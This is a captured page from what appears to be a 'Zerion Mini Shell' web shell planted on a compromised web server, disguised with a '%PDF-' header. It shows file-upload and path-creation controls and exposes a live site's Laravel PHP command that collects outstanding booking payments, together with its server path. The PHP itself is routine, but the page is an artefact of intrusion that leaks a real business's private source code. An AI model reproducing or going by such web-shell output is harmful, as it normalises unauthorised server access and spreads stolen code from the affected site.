%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/forge/api-takeaseat.eco-n-tech.co.uk/app/Console/Commands/
Upload File :
Create Path :
Current File : //home/forge/api-takeaseat.eco-n-tech.co.uk/app/Console/Commands/CollectPayments.php

<?php

namespace App\Console\Commands;

use Carbon\Carbon;
use App\Models\Booking;
use App\Jobs\CollectPayment;
use Illuminate\Console\Command;
use Illuminate\Database\Eloquent\Builder;

class CollectPayments extends Command
{
    /**
     * The name and signature of the console command.
     *
     * @var string
     */
    protected $signature = 'bookings:collect';

    /**
     * The console command description.
     *
     * @var string
     */
    protected $description = 'Collect any outstanding payments for bookings';

    /**
     * Create a new command instance.
     *
     * @return void
     */
    public function __construct()
    {
        parent::__construct();
    }

    /**
     * Execute the console command.
     *
     * @return int
     */
    public function handle()
    {
        $bookings = Booking::orderBy('start_date', 'desc')
            ->whereBetween('start_date', [Carbon::now(), Carbon::now()->addHour(48)])
            ->whereHas('payment', function (Builder $query) {
                $query->where('is_complete', false)
                    ->where('refunded', false);
            })
            ->notCancelled()
            ->get();

        if(count($bookings) > 0) {
            foreach($bookings as $booking) {
                $this->info("Collecting payment for {$booking->payment->id}");
                CollectPayment::dispatch($booking->payment);
            }
        } else {
            $this->info('No bookings need payment collecting right now.');
        }
    }
}

Zerion Mini Shell 1.0